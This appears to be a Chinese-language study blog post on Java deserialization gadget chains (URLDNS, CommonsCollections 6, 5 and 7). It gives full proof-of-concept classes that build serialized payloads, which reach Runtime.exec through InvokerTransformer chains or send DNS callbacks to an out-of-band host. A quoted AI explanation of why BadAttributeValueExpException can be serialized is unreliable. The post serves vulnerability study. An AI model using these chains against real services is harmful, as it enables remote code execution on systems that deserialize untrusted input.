URLDNS

1
2
3
4
5
6
7
public static void main(String[] args) throws MalformedURLException {
URL url = new URL("http://xop5snlkf29k57aea92nm4uei5owcm0b.oastify.com");

HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
hashMap.put(url,1);

}

如果这样执行的话,就会对url发起DNS解析,

可以调试看看:

首先调用HashMap的put方法。

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

会通过hash函数调用key.hashCode()计算key的hashCode;

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

key是传入的URL对象,最终调用URL对象的hashCode函数,

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

handlerURLStreamHandler的对象;handler在构造函数时被赋值了

1
transient URLStreamHandler handler

接着调用了URLStreamHandler.hashCode中的getHostAddress(u)方法导致DNS解析

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package demo1;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Test5 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();

URL url = new URL("http://5msdqvjsda7s3f8m8h0vkcsmgdm4avyk.oastify.com");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,2); //为了防止在put时就发起DNS请求,将hashCode的默认值-1改掉,执行不了handler.hashCode(this)

hashmap.put(url, 1);

hashcodefield.set(url,-1);
serialize(hashmap);
unserialize();

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
}
}

CommonsCollections6

前部分和URLDNS一样,后半部分和CC1一样,中间该用了TiedMapEntry

可以看看TiedMapEntry类一部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {

private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;

public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

public Object getValue() {
return map.get(key);
}

public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

hashCode调用了getValue();其中getValue调用了get方法,并且map是可控的,

Gadget chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
  ObjectInputStream.readObject()
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

从CC1的基础上就加了两行代码

1
2
3
4
5
6
7
8
9
10
11
12
13
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "deadbeef");
hashMap.put(tiedMapEntry,"deadbeef");

和URLDNS一样的特点(又有差异),在反序列化时就会执行命令,但是URLDNS链在序列化执行命令后,如果不做修改;反序列化就不会执行了

但是CC6不一样,他是序列化和反序列化都会执行命令;所以感觉就是不做修改也无伤大雅

如果要使得序列化时不调用的话,和URLDNS类似的修改就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package demo1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Test5 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
//其实修改LazyMap也可以;但是修改TiedMapEntry简单点,
TiedMapEntry tiedMapEntry = new TiedMapEntry(hashMap, "deadbeef");
hashMap.put(tiedMapEntry,"deadbeef");

Class tiedMapEntryClass = TiedMapEntry.class;
Field map = tiedMapEntryClass.getDeclaredField("map");
map.setAccessible(true);
map.set(tiedMapEntry,lazyMap);

serialize(hashMap);
unserialize();
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
}
}

CommonsCollections5

和CC6差不多,只是入口链不一样

CC6是利用TiedMapEntry中的hashCode函数;CC5是利用TiedMapEntry中的toString函数;为什么还可以利用toString方法;其实也就是因为toString也调用了调用了getValue方法的原因

1
2
3
4
5
6
7
public String toString() {
return getKey() + "=" + getValue();
}

public Object getValue() {
return map.get(key);
}

BadAttributeValueExpException这个类的readObject调用valObj.toString(),valObj的值是可控的;尽管BadAttributeValueExpException没有实现 Serializable 接口的情况下,任然可以序列化

GPT:BadAttributeValueExpException类可能使用了一种特殊的序列化方式,使其能够在没有实现 Serializable 接口的情况下被序列化。一些标准的异常类,如 RuntimeException 的子类,有时会被设计成可序列化的,即使它们没有显式地实现 Serializable 接口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

Gadget chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package demo1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Test9 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "deadbeef");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class bclass = badAttributeValueExpException.getClass();
Field val = bclass.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);

serialize(badAttributeValueExpException);
unserialize();

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
}
}

CommonsCollections7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  ObjectInputStream.readObject()
HashMap.readObject()
AbstractMap.equals()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

CC7这条链前半部分有点绕;

先利用HashMap中putVal方法,通过哈希碰撞(其实就是两个节点放在了数组中的同一个位置,HashMap本来就是数组+列表的形式);

然后会调用key.equals(k);要添加的key对象的equals方法,k是数组中已存在的对象;

1
2
3
4
5
6
7
8
9
10
11
final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
boolean evict) {
Node<K,V>[] tab; Node<K,V> p; int n, i;
if ((tab = table) == null || (n = tab.length) == 0)
n = (tab = resize()).length;
if ((p = tab[i = (n - 1) & hash]) == null)
tab[i] = newNode(hash, key, value, null);
else {
Node<K,V> e; K k;
if (p.hash == hash &&
((k = p.key) == key || (key != null && key.equals(k)))) // <--

CC7是将key的值为一个Lazymap对象,所以会调用Lazymap.equals,但是Lazymap没有equals方法,所以找到了lazymap的父类AbstractMapDecorator;

1
2
3
4
5
6
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object); // <--
}

map的值为当前调用put方法的HashMap,然后就会调用HashMap的equals方法;但是HashMap没有equals方法,所以找到了HashMap的父类AbstractMap;(一开始没搞太懂map是什么时候被赋值为当前调用put方法的HashMap的,调试后发现是通过LazyMap的构造函数super(map);)

注意:在AbstractMap.equals方法中,将对象o(也就是Hashmap数组中已经存在的Hashmap对象,并不是当前调用put方法的Hashmap对象)赋值给了m;然后调用m.get(key),如果对象o是一个恶意的Lazymap对象,就会调用Lazymap.get

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))// <-- 对于我们的 exp 来说, 会在这里会触发
......

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package demo1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Test10 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// "yy".hashCode() == "zZ".hashCode() == 3872
HashMap<String, String> hashMap1 = new HashMap<>();
HashMap<String, String> hashMap2 = new HashMap<>();
hashMap1.put("yy","1");
hashMap2.put("zZ","1");

Map lazyMap1 = LazyMap.decorate(hashMap1, new ConstantTransformer(1));
Map lazyMap2 = LazyMap.decorate(hashMap2,new ConstantTransformer(1));
// System.out.println(lazyMap1.hashCode());
// System.out.println(lazyMap2.hashCode());
HashMap<Object, Object> hashMap3 = new HashMap<>();
hashMap3.put(lazyMap1,"deadbeef");
hashMap3.put(lazyMap2,"deadbeef");

// LazyMap.get方法中会将结果存入 hashMap1 中, 所以这里需要将其清除, 否则 hashcode 就不一样了
hashMap1.remove("zZ");

//防止在序列化时就执行命令
Class lclass = lazyMap1.getClass();
Field factory = lclass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap1,chainedTransformer);

serialize(hashMap3);
unserialize();
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}